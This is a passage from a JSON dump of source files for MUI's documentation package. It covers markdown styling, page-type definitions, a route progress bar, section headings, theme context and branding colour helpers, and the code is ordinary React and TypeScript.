theme.spacing(0.2),\n      whiteSpace: 'nowrap',\n      opacity: 0.6,\n    },\n    '& li': {\n      // tight lists https://spec.commonmark.org/0.30/#tight\n      marginBottom: 4,\n      '& pre': {\n        marginTop: theme.spacing(1),\n      },\n      // loose lists https://spec.commonmark.org/0.30/#loose\n      '& > p': {\n        marginBottom: theme.spacing(1),\n      },\n    },\n    '& .feature-list': {\n      padding: 0,\n      listStyle: 'none',\n      '& li': {\n        marginBottom: 6,\n        display: 'flex',\n        alignItems: 'center',\n        gap: 12,\n        '::before': {\n          content: `url('/static/branding/pricing/yes-light.svg')`,\n          width: '18px',\n          height: '18px',\n        },\n      },\n    },\n    '& .MuiCode-title': {\n      padding: theme.spacing(1.5),\n      display: 'flex',\n      alignItems: 'center',\n      gap: theme.spacing(1.5),\n      borderBottom: `1px solid var(--muidocs-palette-primaryDark-700, ${lightTheme.palette.primaryDark[700]})`,\n      backgroundColor: `var(--muidocs-palette-primaryDark-900, ${lightTheme.palette.primaryDark[900]})`,\n      fontFamily: theme.typography.fontFamilyCode,\n      fontSize: theme.typography.pxToRem(12),\n      fontWeight: theme.typography.fontWeightBold,\n      color: `var(--muidocs-palette-grey-200, ${lightTheme.palette.grey[200]})`,\n      '::before': {\n        content: `url(\"data:image/svg+xml,%3Csvg width='16' height='16' viewBox='0 0 16 16' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M13.3333 3.99996H8L7.06 3.05996C6.80667 2.80663 6.46667 2.66663 6.11334 2.66663H2.66667C1.93334 2.66663 1.34 3.26663 1.34 3.99996L1.33334 12C1.33334 12.7333 1.93334 13.3333 2.66667 13.3333H13.3333C14.0667 13.3333 14.6667 12.7333 14.6667 12V5.33329C14.6667 4.59996 14.0667 3.99996 13.3333 3.99996ZM12.6667 12H3.33334C2.96667 12 2.66667 11.7 2.66667 11.3333V5.99996C2.66667 5.63329 2.96667 5.33329 3.33334 5.33329H12.6667C13.0333 5.33329 13.3333 5.63329 13.3333 5.99996V11.3333C13.3333 11.7 13.0333 12 12.6667 12Z' fill='%2399CCF3'/%3E%3C/svg%3E%0A\");`,\n        width: '16px',\n        height: '16px',\n      },\n      '& + pre': {\n        margin: 0,\n        border: 'none',\n        borderRadius: 0,\n      },\n    },\n  }),\n  ({ theme }) => ({\n    [`:where(${theme.vars ? '[data-mui-color-scheme=\"dark\"]' : '.mode-dark'}) &`]: {\n      color: 'rgb(255, 255, 255)',\n      '& :not(pre) > code': {\n        // inline code block\n        color: `var(--muidocs-palette-text-primary, ${darkTheme.palette.text.primary})`,\n        borderColor: alpha(darkTheme.palette.primaryDark[600], 0.6),\n        backgroundColor: `var(--muidocs-palette-grey-900, ${darkTheme.palette.grey[900]})`,\n      },\n      '& strong': {\n        color: `var(--muidocs-palette-grey-200, ${darkTheme.palette.grey[200]})`,\n      },\n      '& hr': {\n        backgroundColor: `var(--muidocs-palette-divider, ${darkTheme.palette.divider})`,\n      },\n      '& a': {\n        color: `var(--muidocs-palette-primary-300, ${darkTheme.palette.primary[300]})`,\n      },\n      '& a code': {\n        color: `var(--muidocs-palette-primary-light, ${darkTheme.palette.primary.light})`,\n      },\n      '& h1, & h2, & h3, & h4, & h5': {\n        color: `var(--muidocs-palette-grey-50, ${darkTheme.palette.grey[50]})`,\n        '& .anchor-icon, & .comment-link': {\n          color: `var(--muidocs-palette-primary-300, ${darkTheme.palette.primaryDark[400]})`,\n          '&:hover': {\n            color: `var(--muidocs-palette-primary-100, ${darkTheme.palette.primary[100]})`,\n            borderColor: `var(--muidocs-palette-primary-900, ${darkTheme.palette.primary[900]})`,\n            backgroundColor: alpha(darkTheme.palette.primary[900], 0.6),\n          },\n        },\n      },\n      '& p, & ul, & ol': {\n        color: `var(--muidocs-palette-grey-400, ${darkTheme.palette.grey[400]})`,\n      },\n      '& h1 code, & h2 code, & h3 code': {\n        color: `var(--muidocs-palette-grey-100, ${darkTheme.palette.grey[100]})`,\n      },\n      '& table': {\n        '& .required': {\n          color: '#a5ffa5',\n        },\n        '& .optional': {\n          color: '#a5b3ff',\n        },\n        '& .prop-type, & .slot-defaultClass': {\n          color: '#ffb6ec',\n        },\n        '& .prop-default, & .slot-default': {\n          borderColor: `var(--muidocs-palette-divider, ${darkTheme.palette.divider})`,\n        },\n      },\n      '& td': {\n        color: `var(--muidocs-palette-text-secondary, ${darkTheme.palette.text.secondary})`,\n        borderColor: `var(--muidocs-palette-divider, ${darkTheme.palette.divider})`,\n      },\n      '& th': {\n        color: `var(--muidocs-palette-text-primary, ${darkTheme.palette.text.primary})`,\n        borderColor: `var(--muidocs-palette-divider, ${darkTheme.palette.divider})`,\n      },\n      '& blockquote': {\n        borderColor: `var(--muidocs-palette-primaryDark-700, ${darkTheme.palette.primaryDark[700]})`,\n        '&::before': {\n          color: `var(--muidocs-palette-primaryDark-500, ${darkTheme.palette.primaryDark[500]})`,\n        },\n      },\n      '& .MuiCallout-root': {\n        borderColor: `var(--muidocs-palette-primaryDark-700, ${darkTheme.palette.primaryDark[700]})`,\n        '& code': {\n          backgroundColor: `var(--muidocs-palette-primaryDark-600, ${darkTheme.palette.primaryDark[600]})`,\n          borderColor: `var(--muidocs-palette-primaryDark-500, ${darkTheme.palette.primaryDark[500]})`,\n        },\n        '&.MuiCallout-error': {\n          color: `var(--muidocs-palette-error-50, ${darkTheme.palette.error[50]})`,\n          backgroundColor: alpha(darkTheme.palette.error[700], 0.15),\n          borderColor: alpha(darkTheme.palette.error[400], 0.1),\n          '& strong': {\n            color: `var(--muidocs-palette-error-300, ${darkTheme.palette.error[300]})`,\n          },\n          '& svg': {\n            fill: `var(--muidocs-palette-error-500, ${darkTheme.palette.error[500]})`,\n          },\n          '& a': {\n            color: `var(--muidocs-palette-error-200, ${darkTheme.palette.error[200]})`,\n          },\n        },\n        '&.MuiCallout-info': {\n          color: `var(--muidocs-palette-grey-50, ${darkTheme.palette.grey[50]})`,\n          backgroundColor: alpha(darkTheme.palette.grey[700], 0.15),\n          borderColor: alpha(darkTheme.palette.grey[800], 0.5),\n          '& strong': {\n            color: `var(--muidocs-palette-primary-200, ${darkTheme.palette.primary[200]})`,\n          },\n          '& svg': {\n            fill: `var(--muidocs-palette-grey-400, ${darkTheme.palette.grey[400]})`,\n          },\n        },\n        '&.MuiCallout-success': {\n          color: `var(--muidocs-palette-success-50, ${darkTheme.palette.success[50]})`,\n          backgroundColor: alpha(darkTheme.palette.success[700], 0.12),\n          borderColor: alpha(lightTheme.palette.success[400], 0.1),\n          '& strong': {\n            color: `var(--muidocs-palette-success-200, ${darkTheme.palette.success[200]})`,\n          },\n          '& svg': {\n            fill: `var(--muidocs-palette-success-500, ${darkTheme.palette.success[500]})`,\n          },\n          '& a': {\n            color: `var(--muidocs-palette-success-100, ${darkTheme.palette.success[100]})`,\n          },\n        },\n        '&.MuiCallout-warning': {\n          color: `var(--muidocs-palette-warning-50, ${darkTheme.palette.warning[50]})`,\n          backgroundColor: alpha(darkTheme.palette.warning[700], 0.12),\n          borderColor: alpha(darkTheme.palette.warning[400], 0.1),\n          '& strong': {\n            color: `var(--muidocs-palette-warning-200, ${darkTheme.palette.warning[200]})`,\n          },\n          '& svg': {\n            fill: `var(--muidocs-palette-warning-400, ${darkTheme.palette.warning[400]})`,\n          },\n          '& a': {\n            color: `var(--muidocs-palette-warning-100, ${darkTheme.palette.warning[100]})`,\n          },\n        },\n      },\n      '& kbd.key': {\n        color: `var(--muidocs-palette-text-primary, ${darkTheme.palette.text.primary})`,\n        backgroundColor: `var(--muidocs-palette-primaryDark-800, ${darkTheme.palette.primaryDark[800]})`,\n        border: `1px solid var(--muidocs-palette-primaryDark-600, ${darkTheme.palette.primaryDark[600]})`,\n        boxShadow: `inset 0 -2px 0 var(--muidocs-palette-primaryDark-700, ${darkTheme.palette.primaryDark[700]})`,\n      },\n      '& details': {\n        borderColor: `var(--muidocs-palette-divider, ${darkTheme.palette.divider})`,\n      },\n      '& summary': {\n        '&:hover': {\n          backgroundColor: `var(--muidocs-palette-primaryDark-800, ${darkTheme.palette.primaryDark[800]})`,\n        },\n      },\n      '& .feature-list': {\n        '& li': {\n          '::before': {\n            content: `url('/static/branding/pricing/yes-dark.svg')`,\n          },\n        },\n      },\n    },\n  }),\n);\n\nfunction handleHeaderClick(event: Event) {\n  const selection = document.getSelection();\n\n  if (selection === null) {\n    return;\n  }\n\n  if (selection.type === 'Range') {\n    // Disable the <a> behavior to be able to select text.\n    event.preventDefault();\n  }\n}\n\nexport interface MarkdownElementProps {\n  className?: string;\n  renderedMarkdown?: string;\n  children?: React.ReactNode;\n}\n\nexport const MarkdownElement = React.forwardRef<HTMLDivElement, MarkdownElementProps>(\n  function MarkdownElement(props, ref) {\n    const { className, renderedMarkdown, ...other } = props;\n    const rootRef = React.useRef<HTMLElement>(null);\n    const handleRef = useForkRef(rootRef, ref);\n\n    React.useEffect(() => {\n      const elements = rootRef.current!.getElementsByClassName('title-link-to-anchor');\n\n      for (let i = 0; i < elements.length; i += 1) {\n        // More reliable than `-webkit-user-drag` (https://caniuse.com/webkit-user-drag)\n        elements[i].setAttribute('draggable', 'false');\n        elements[i].addEventListener('click', handleHeaderClick);\n      }\n    }, []);\n\n    const more: React.ComponentProps<typeof Root> = {};\n\n    if (typeof renderedMarkdown === 'string') {\n      // workaround for https://github.com/facebook/react/issues/17170\n      // otherwise we could just set `dangerouslySetInnerHTML={undefined}`\n      more.dangerouslySetInnerHTML = { __html: renderedMarkdown };\n    }\n\n    return (\n      <Root className={clsx('markdown-body', className)} {...more} {...other} ref={handleRef} />\n    );\n  },\n);\n"
  },
  {
    "path": "packages/mui-docs/src/MarkdownElement/index.ts",
    "content": "export * from './MarkdownElement';\n"
  },
  {
    "path": "packages/mui-docs/src/MuiPage/MuiPage.ts",
    "content": "import * as React from 'react';\n\nexport type MuiPageIcon =\n  | 'ReaderIcon'\n  | 'BookIcon'\n  | 'DescriptionIcon'\n  | 'VisibilityIcon'\n  | 'WebIcon'\n  | React.ComponentType;\n\nexport interface MuiPage {\n  pathname: string;\n  query?: object;\n  children?: MuiPage[];\n  disableDrawer?: boolean;\n  icon?: MuiPageIcon;\n  /**\n   * Indicates if the pages are regarding some legacy API.\n   */\n  legacy?: boolean;\n  /**\n   * Indicates if the pages are only available in some plan.\n   * @default 'community'\n   */\n  plan?: 'community' | 'pro' | 'premium';\n  /**\n   * In case the children have pathnames out of pathname value, use this field to scope other pathnames.\n   * Pathname can be partial, for example '/components/' will cover '/components/button/' and '/components/link/'.\n   * @deprecated Dead code, to remove.\n   */\n  scopePathnames?: string[];\n  /**\n   * Pages are considered to be ordered depth-first.\n   * If a page should be excluded from this order, set `order: false`.\n   * You want to set `inSideNav: false` if you don't want the page to appear in an ordered list e.g. for previous/next page navigation.\n   */\n  inSideNav?: boolean;\n  /**\n   * Props spread to the Link component.\n   */\n  linkProps?: Record<string, unknown>;\n  /**\n   * Subheader to display before navigation links.\n   */\n  subheader?: string;\n  /**\n   * Overrides the default page title.\n   */\n  title?: string;\n  /**\n   * Indicates if the feature has been recently released.\n   * @default false\n   */\n  newFeature?: boolean;\n  /**\n   * Indicates if the feature is planned for development.\n   * @default false\n   */\n  planned?: boolean;\n  /**\n   * Indicates if the component/hook is not stable yet.\n   */\n  unstable?: boolean;\n  /**\n   * Indicates the item is in beta release.\n   */\n  beta?: boolean;\n  /**\n   * Indicates if the pages are regarding some deprecated API.\n   */\n  deprecated?: boolean;\n}\n\nexport interface OrderedMuiPage extends MuiPage {\n  ordered?: true;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/MuiPage/index.ts",
    "content": "export type { MuiPage, MuiPageIcon, OrderedMuiPage } from './MuiPage';\n"
  },
  {
    "path": "packages/mui-docs/src/NextNProgressBar/NProgressBar.d.ts",
    "content": "import * as React from 'react';\n\nexport interface NProgressBarProps {\n  children?: React.ReactNode;\n}\n\ndeclare const NProgressBar: React.FunctionComponent<NProgressBarProps>;\nexport default NProgressBar;\n"
  },
  {
    "path": "packages/mui-docs/src/NextNProgressBar/NProgressBar.js",
    "content": "import PropTypes from 'prop-types';\nimport NProgress from 'nprogress';\nimport { NoSsr } from '@mui/base/NoSsr';\nimport exactProp from '@mui/utils/exactProp';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport { keyframes } from '@mui/material/styles';\n\nNProgress.configure({\n  barSelector: '.nprogress-bar',\n  template: `\n    <div class=\"nprogress-bar\">\n      <div></div>\n      <div></div>\n    </div>\n  `,\n});\n\nconst muiNProgressPulse = keyframes`\n  30% {\n    opacity: 0.6;\n  }\n\n  60% {\n    opacity: 0;\n  }\n\n  to {\n    opacity: 0.6;\n  }\n`;\n\n/**\n * Elegant and ready-to-use wrapper on top of https://github.com/rstacruz/nprogress/.\n * The implementation is highly inspired by the YouTube one.\n */\nfunction NProgressBar(props) {\n  return (\n    <NoSsr>\n      {props.children}\n      <GlobalStyles\n        styles={(theme) => ({\n          '#nprogress': {\n            direction: 'ltr',\n            pointerEvents: 'none',\n            position: 'fixed',\n            top: 0,\n            left: 0,\n            right: 0,\n            height: 2,\n            zIndex: (theme.vars || theme).zIndex.tooltip,\n            backgroundColor: (theme.vars || theme).palette.primary[200],\n            ...theme.applyStyles('dark', {\n              backgroundColor: (theme.vars || theme).palette.primary[700],\n            }),\n            '& .nprogress-bar': {\n              position: 'fixed',\n              backgroundColor: (theme.vars || theme).palette.primary.main,\n              top: 0,\n              left: 0,\n              right: 0,\n              height: 2,\n            },\n            '& .nprogress-bar > div': {\n              position: 'absolute',\n              top: 0,\n              height: 2,\n              boxShadow: `${(theme.vars || theme).palette.primary.main} 1px 0 6px 1px`,\n              borderRadius: '100%',\n              animation: `${muiNProgressPulse} 2s ease-out 0s infinite`,\n            },\n            '& .nprogress-bar > div:first-of-type': {\n              opacity: 0.6,\n              width: 20,\n              right: 0,\n              clip: 'rect(-6px,22px,14px,10px)',\n            },\n            '& .nprogress-bar > div:last-of-type': {\n              opacity: 0.6,\n              width: 180,\n              right: -80,\n              clip: 'rect(-6px,90px,14px,-6px)',\n            },\n          },\n        })}\n      />\n    </NoSsr>\n  );\n}\n\nNProgressBar.propTypes = {\n  children: PropTypes.node,\n};\n\nif (process.env.NODE_ENV !== 'production') {\n  NProgressBar.propTypes = exactProp(NProgressBar.propTypes);\n}\n\nexport default NProgressBar;\n"
  },
  {
    "path": "packages/mui-docs/src/NextNProgressBar/NextNProgressBar.tsx",
    "content": "import * as React from 'react';\nimport { debounce } from '@mui/material/utils';\nimport { useRouter } from 'next/router';\nimport NProgress from 'nprogress';\nimport NProgressBar from './NProgressBar';\n\nconst nProgressStart = debounce(() => {\n  NProgress.start();\n}, 200);\n\nfunction nProgressDone() {\n  nProgressStart.clear();\n  NProgress.done();\n}\n\nexport function NextNProgressBar() {\n  const router = useRouter();\n  React.useEffect(() => {\n    const handleRouteChangeStart = (_url: string, { shallow }: { shallow: boolean }) => {\n      if (!shallow) {\n        nProgressStart();\n      }\n    };\n\n    const handleRouteChangeDone = (_url: string, { shallow }: { shallow: boolean }) => {\n      if (!shallow) {\n        nProgressDone();\n      }\n    };\n\n    router.events.on('routeChangeStart', handleRouteChangeStart);\n    router.events.on('routeChangeComplete', handleRouteChangeDone);\n    router.events.on('routeChangeError', handleRouteChangeDone);\n    return () => {\n      router.events.off('routeChangeStart', handleRouteChangeStart);\n      router.events.off('routeChangeComplete', handleRouteChangeDone);\n      router.events.off('routeChangeError', handleRouteChangeDone);\n    };\n  }, [router]);\n\n  return <NProgressBar />;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/NextNProgressBar/index.ts",
    "content": "export * from './NextNProgressBar';\n"
  },
  {
    "path": "packages/mui-docs/src/PageContext/PageContext.tsx",
    "content": "import * as React from 'react';\nimport type { Theme } from '@mui/material/styles';\nimport type { SxProps } from '@mui/system';\nimport type { MuiPage } from '../MuiPage';\nimport type { MuiProductId } from '../getProductInfoFromUrl';\n\nexport type RootSvgProps<P = unknown> = Omit<React.SVGProps<SVGSVGElement>, 'ref'> & {\n  sx?: SxProps<Theme>;\n  ref?: React.Ref<SVGSVGElement>;\n} & P;\n\nexport interface ProductVersion {\n  text: string;\n  current?: boolean;\n  href?: string;\n}\n\nexport interface ProductInfo {\n  metadata: string;\n  name: string;\n  logo?: (props: RootSvgProps) => React.JSX.Element;\n  logoSvg?: string;\n  wordmarkSvg?: string;\n  versions: ProductVersion[];\n}\n\nexport interface MuiPageContext {\n  activePage: MuiPage | null;\n  pages: MuiPage[];\n  productId: MuiProductId;\n  productCategoryId: string;\n  productIdentifier: ProductInfo;\n  activePageParents: MuiPage[];\n}\n\nconst PageContext = React.createContext<MuiPageContext>(undefined!);\n\nif (process.env.NODE_ENV !== 'production') {\n  PageContext.displayName = 'PageContext';\n}\n\nexport default PageContext;\n"
  },
  {
    "path": "packages/mui-docs/src/PageContext/index.ts",
    "content": "export { default } from './PageContext';\nexport type { RootSvgProps, ProductVersion, ProductInfo, MuiPageContext } from './PageContext';\n"
  },
  {
    "path": "packages/mui-docs/src/SectionHeadline/SectionHeadline.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\n\nexport interface SectionHeadlineProps {\n  alwaysCenter?: boolean;\n  description?: React.ReactNode;\n  id?: string;\n  /**\n   * For using with dark background.\n   */\n  inverted?: boolean;\n  overline?: React.ReactNode;\n  title: string | React.ReactElement<React.HTMLAttributes<HTMLElement>>;\n}\n\nexport default function SectionHeadline(props: SectionHeadlineProps) {\n  const { alwaysCenter = false, description, id, inverted = false, overline, title } = props;\n  return (\n    <Box sx={{ m: alwaysCenter ? 'auto' : null }}>\n      {overline && (\n        <Typography\n          id={id}\n          component=\"h2\"\n          variant=\"body2\"\n          sx={{\n            fontWeight: 'bold',\n            color: 'primary.main',\n            mb: 1,\n            ...(alwaysCenter && {\n              textAlign: 'center',\n            }),\n          }}\n        >\n          {overline}\n        </Typography>\n      )}\n      {typeof title === 'string' ? (\n        <Typography\n          variant=\"h2\"\n          sx={(theme) => ({\n            maxWidth: 500,\n            ...(inverted\n              ? {\n                  color: '#fff',\n                }\n              : {\n                  color: 'primaryDark.900',\n                  ...theme.applyDarkStyles({\n                    color: 'grey.100',\n                  }),\n                }),\n            ...(alwaysCenter && {\n              textAlign: 'center',\n              maxWidth: '100%',\n            }),\n          })}\n        >\n          {title}\n        </Typography>\n      ) : (\n        React.cloneElement(title, {\n          style: {\n            maxWidth: 500,\n            ...(alwaysCenter && {\n              maxWidth: '100%',\n              textAlign: 'center',\n            }),\n            ...(inverted && {\n              color: '#fff',\n            }),\n          },\n        })\n      )}\n      {description && (\n        <Typography\n          sx={(theme) => ({\n            mt: 1,\n            mb: 3,\n            maxWidth: 500,\n            ...(inverted\n              ? {\n                  color: 'grey.400',\n                }\n              : {\n                  color: 'grey.800',\n                  ...theme.applyDarkStyles({\n                    color: 'grey.500',\n                  }),\n                }),\n            ...(alwaysCenter && {\n              textAlign: 'center',\n              mx: 'auto',\n            }),\n          })}\n        >\n          {description}\n        </Typography>\n      )}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/SectionHeadline/index.ts",
    "content": "export * from './SectionHeadline';\nexport { default } from './SectionHeadline';\n"
  },
  {
    "path": "packages/mui-docs/src/SectionTitle/SectionTitle.tsx",
    "content": "export interface SectionTitleProps<Hash extends string = string> {\n  title: string;\n  hash: Hash;\n  level?: 'h2' | 'h3' | 'h4';\n}\nexport function SectionTitle(props: SectionTitleProps) {\n  const { title, hash, level: Level = 'h2' } = props;\n  return (\n    <Level id={hash} style={{ flexGrow: 1 }}>\n      <a aria-labelledby={hash} className=\"title-link-to-anchor\" href={`#${hash}`} tabIndex={-1}>\n        {title}\n        <span className=\"anchor-icon\">\n          <svg>\n            <use xlinkHref=\"#anchor-link-icon\" />\n          </svg>\n        </span>\n      </a>\n    </Level>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/SectionTitle/index.ts",
    "content": "export * from './SectionTitle';\n"
  },
  {
    "path": "packages/mui-docs/src/ThemeContext/ThemeContext.tsx",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { createTheme as createMdTheme } from '@mui/material/styles';\nimport { unstable_useEnhancedEffect as useEnhancedEffect } from '@mui/material/utils';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport useLocalStorageState from '@mui/utils/useLocalStorageState';\nimport useLazyCSS from '../useLazyCSS';\nimport { getMetaThemeColor } from '../branding';\n\nconst themeInitialOptions = {\n  dense: false,\n  direction: 'ltr' as 'ltr' | 'rtl',\n  paletteMode: 'light' as 'light' | 'dark',\n};\n\nexport const highDensity = {\n  components: {\n    MuiButton: {\n      defaultProps: {\n        size: 'small',\n      },\n    },\n    MuiFilledInput: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiFormControl: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiFormHelperText: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiIconButton: {\n      defaultProps: {\n        size: 'small',\n      },\n    },\n    MuiInputBase: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiInputLabel: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiListItem: {\n      defaultProps: {\n        dense: true,\n      },\n    },\n    MuiOutlinedInput: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiFab: {\n      defaultProps: {\n        size: 'small',\n      },\n    },\n    MuiTable: {\n      defaultProps: {\n        size: 'small',\n      },\n    },\n    MuiTextField: {\n      defaultProps: {\n        margin: 'dense',\n      },\n    },\n    MuiToolbar: {\n      defaultProps: {\n        variant: 'dense',\n      },\n    },\n  },\n};\n\nexport const DispatchContext = React.createContext<React.ActionDispatch<any>>(() => {\n  throw new Error('Forgot to wrap component in `ThemeProvider`');\n});\n\nif (process.env.NODE_ENV !== 'production') {\n  DispatchContext.displayName = 'ThemeDispatchContext';\n}\n\nexport const ThemeOptionsContext = React.createContext(themeInitialOptions);\n\nif (process.env.NODE_ENV !== 'production') {\n  ThemeOptionsContext.displayName = 'ThemeOptionsContext';\n}\n\nexport function ThemeProvider(props: React.PropsWithChildren) {\n  const { children } = props;\n\n  const [themeOptions, dispatch] = React.useReducer((state, action) => {\n    switch (action.type) {\n      case 'SET_DENSE':\n        return {\n          ...state,\n          dense: action.payload,\n        };\n      case 'RESET_DENSITY':\n        return {\n          ...state,\n          dense: themeInitialOptions.dense,\n        };\n      case 'CHANGE':\n        // No value changed\n        if (\n          (!action.payload.paletteMode || action.payload.paletteMode === state.paletteMode) &&\n          (!action.payload.direction || action.payload.direction === state.direction)\n        ) {\n          return state;\n        }\n\n        return {\n          ...state,\n          paletteMode: action.payload.paletteMode || state.paletteMode,\n          direction: action.payload.direction || state.direction,\n        };\n      default:\n        throw new Error(`Unrecognized type ${action.type}`);\n    }\n  }, themeInitialOptions);\n\n  const { direction, paletteMode } = themeOptions;\n\n  useLazyCSS('/static/styles/prism-okaidia.css', '#prismjs');\n\n  // TODO replace with useColorScheme once all pages support css vars\n  const { mode, systemMode } = useColorSchemeShim();\n  const calculatedMode = mode === 'system' ? systemMode : mode;\n\n  useEnhancedEffect(() => {\n    dispatch({\n      type: 'CHANGE',\n      payload: {\n        paletteMode: calculatedMode,\n      },\n    });\n  }, [calculatedMode]);\n\n  useEnhancedEffect(() => {\n    document.body.setAttribute('dir', direction);\n  }, [direction]);\n\n  useEnhancedEffect(() => {\n    // To support light and dark mode images in the docs\n    if (paletteMode === 'dark') {\n      document.body.classList.remove('mode-light');\n      document.body.classList.add('mode-dark');\n    } else {\n      document.body.classList.remove('mode-dark');\n      document.body.classList.add('mode-light');\n    }\n\n    const metas = document.querySelectorAll('meta[name=\"theme-color\"]');\n    metas.forEach((meta) => {\n      meta.setAttribute('content', getMetaThemeColor(paletteMode));\n    });\n  }, [paletteMode]);\n\n  React.useEffect(() => {\n    // Expose the theme as a global variable so people can play with it.\n    (window as any).createTheme = createMdTheme;\n  }, []);\n\n  return (\n    <ThemeOptionsContext.Provider value={themeOptions}>\n      <DispatchContext.Provider value={dispatch}>{children}</DispatchContext.Provider>\n    </ThemeOptionsContext.Provider>\n  );\n}\n\nThemeProvider.propTypes = {\n  children: PropTypes.node,\n};\n\n/**\n * @returns {(nextOptions: Partial<typeof themeInitialOptions>) => void}\n */\nexport function useChangeTheme() {\n  const dispatch = React.useContext(DispatchContext);\n  return React.useCallback(\n    (options: any) => dispatch({ type: 'CHANGE', payload: options }),\n    [dispatch],\n  );\n}\n\n// TODO: remove once all pages support css vars and replace call sites with useColorScheme()\nexport function useColorSchemeShim() {\n  const [mode, setMode] = useLocalStorageState('mui-mode', 'system');\n  const prefersDarkMode = useMediaQuery('(prefers-color-scheme: dark)', { noSsr: true });\n  const systemMode = prefersDarkMode ? 'dark' : 'light';\n\n  return {\n    mode,\n    systemMode,\n    setMode,\n  };\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ThemeContext/index.ts",
    "content": "export {\n  ThemeProvider,\n  ThemeOptionsContext,\n  DispatchContext,\n  highDensity,\n  useChangeTheme,\n  useColorSchemeShim,\n} from './ThemeContext';\n"
  },
  {
    "path": "packages/mui-docs/src/branding/BrandingCssVarsProvider.tsx",
    "content": "import * as React from 'react';\nimport { useRouter } from 'next/router';\nimport deepmerge from '@mui/utils/deepmerge';\nimport { ThemeProvider, createTheme, PaletteColorOptions } from '@mui/material/styles';\nimport { unstable_useEnhancedEffect as useEnhancedEffect } from '@mui/material/utils';\nimport { colorChannel, getContrastRatio, lighten, darken } from '@mui/system/colorManipulator';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { getCookie, pathnameToLanguage } from '../helpers/helpers';\nimport { NextNProgressBar } from '../NextNProgressBar';\nimport { getDesignTokens, getThemedComponents } from './brandingTheme';\nimport { SkipLink, MarkdownLinks } from '../Link';\n\ndeclare module '@mui/material/styles' {\n  interface PaletteOptions {\n    primaryDark?: PaletteColorOptions;\n  }\n}\n\nconst { palette: lightPalette, typography, ...designTokens } = getDesignTokens('light');\nconst { palette: darkPalette } = getDesignTokens('dark');\nconst themeOptions = {\n  colorSchemes: {\n    light: {\n      palette: lightPalette,\n    },\n    dark: {\n      palette: darkPalette,\n    },\n  },\n  ...designTokens,\n  typography: deepmerge(typography, {\n    h1: {\n      ':where([data-mui-color-scheme=\"dark\"]) &': {\n        color: 'var(--muidocs-palette-common-white)',\n      },\n    },\n    h2: {\n      ':where([data-mui-color-scheme=\"dark\"]) &': {\n        color: 'var(--muidocs-palette-grey-100)',\n      },\n    },\n    h5: {\n      ':where([data-mui-color-scheme=\"dark\"]) &': {\n        color: 'var(--muidocs-palette-primary-300)',\n      },\n    },\n  }),\n  ...getThemedComponents(),\n};\n\nexport function setDocsColors(primary: Record<string, string>, secondary: Record<string, string>) {\n  function injectPalette(prefix: string, palette: string, color: string, el: HTMLElement) {\n    // simplified logic of `createPalette` to avoid `useTheme`.\n    const light = lighten(color, 0.2);\n    const dark = darken(color, 0.3);\n    const contrastText = getContrastRatio(color, '#fff') >= 3 ? '#fff' : 'rgba(0, 0, 0, 0.87)';\n    const elStyle = el.style;\n\n    elStyle.setProperty(`--${prefix}-palette-${palette}-main`, color);\n    elStyle.setProperty(`--${prefix}-palette-${palette}-mainChannel`, colorChannel(color));\n    elStyle.setProperty(`--${prefix}-palette-${palette}-light`, light);\n    elStyle.setProperty(`--${prefix}-palette-${palette}-lightChannel`, colorChannel(light));\n    elStyle.setProperty(`--${prefix}-palette-${palette}-dark`, dark);\n    elStyle.setProperty(`--${prefix}-palette-${palette}-darkChannel`, colorChannel(dark));\n    elStyle.setProperty(`--${prefix}-palette-${palette}-contrastText`, contrastText);\n    elStyle.setProperty(\n      `--${prefix}-palette-${palette}-contrastTextChannel`,\n      colorChannel(contrastText),\n    );\n  }\n  if (typeof document !== 'undefined') {\n    const htmlEl = document.documentElement;\n    injectPalette('muidocs', 'primary', primary.main, htmlEl);\n    injectPalette('muidocs', 'secondary', secondary.main, htmlEl);\n\n    ['50', '100', '200', '300', '400', '500', '600', '700', '800', '900'].forEach((key) => {\n      htmlEl.style.setProperty(`--muidocs-palette-primary-${key}`, primary[key]);\n      htmlEl.style.setProperty(`--muidocs-palette-secondary-${key}`, secondary[key]);\n    });\n\n    injectPalette('mui', 'primary', primary.main, htmlEl);\n    injectPalette('mui', 'secondary', secondary.main, htmlEl);\n  }\n}\n\nexport function resetDocsColor() {\n  if (typeof document !== 'undefined') {\n    const htmlElStyle = document.documentElement.style;\n    htmlElStyle.removeProperty('--muidocs-palette-primary-main');\n    htmlElStyle.removeProperty('--muidocs-palette-secondary-main');\n    htmlElStyle.removeProperty('--mui-palette-primary-main');\n    htmlElStyle.removeProperty('--mui-palette-secondary-main');\n\n    ['50', '100', '200', '300', '400', '500', '600', '700', '800', '900'].forEach((key) => {\n      htmlElStyle.removeProperty(`--muidocs-palette-primary-${key}`);\n      htmlElStyle.removeProperty(`--muidocs-palette-secondary-${key}`);\n    });\n  }\n}\n\nexport function setDocsSpacing(value: number) {\n  if (typeof document !== 'undefined') {\n    const htmlElStyle = document.documentElement.style;\n    htmlElStyle.setProperty('--muidocs-spacing', `${value}px`);\n    htmlElStyle.setProperty('--mui-spacing', `${value}px`);\n  }\n}\n\nexport function resetDocsSpacing() {\n  if (typeof document !== 'undefined') {\n    const htmlElStyle = document.documentElement.style;\n    htmlElStyle.removeProperty('--muidocs-spacing');\n    htmlElStyle.removeProperty('--mui-spacing');\n  }\n}\n\nconst themeCache: Map<string, ReturnType<typeof createTheme>> = new Map();\nexport function getTheme(direction: 'ltr' | 'rtl') {\n  let cachedTheme = themeCache.get(direction);\n  